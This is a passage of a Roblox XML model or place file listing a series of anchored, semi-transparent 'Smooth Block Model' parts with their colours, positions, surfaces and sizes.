				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1092">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000038</X>
					<Y>5.79976845</Y>
					<Z>25.9999752</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1093">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000992</X>
					<Y>0.999281764</Y>
					<Z>22.0006638</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1094">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000458</X>
					<Y>2.19932938</Y>
					<Z>23.9998703</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1095">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000648</X>
					<Y>3.39925051</Y>
					<Z>23.9998779</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1096">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000648</X>
					<Y>4.59926701</Y>
					<Z>23.9998798</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1097">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36</X>
					<Y>6.99976826</Y>
					<Z>25.9999962</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1098">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000916</X>
					<Y>0.99969089</Y>
					<Z>20.000145</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000786813791</X>
					<Y>0.0917104632</Y>
					<Z>-0.000247492804</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.000677790493</X>
					<Y>-0.00542631326</Y>
					<Z>0.00705100968</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1099">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000916</X>
					<Y>2.19928074</Y>
					<Z>22.0006638</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1100">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.000103</X>
					<Y>4.59921837</Y>
					<Z>22.0006714</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1101">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36</X>
					<Y>8.19983006</Y>
					<Z>25.9999962</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1102">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000572</X>
					<Y>5.79926586</Y>
					<Z>23.9998837</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1103">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.000145</X>
					<Y>0.999704242</Y>
					<Z>18.000021</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00134955195</X>
					<Y>0.063908346</Y>
					<Z>-0.00019630765</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00281424075</X>
					<Y>0.00694806408</Y>
					<Z>-0.00406218367</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1104">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000992</X>
					<Y>2.19968987</Y>
					<Z>20.000145</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000786813791</X>
					<Y>0.0917104632</Y>
					<Z>-0.000247492804</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.000974781869</X>
					<Y>-0.00542631699</Y>
					<Z>0.00610543368</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1105">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000877</X>
					<Y>3.39920187</Y>
					<Z>22.0006676</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
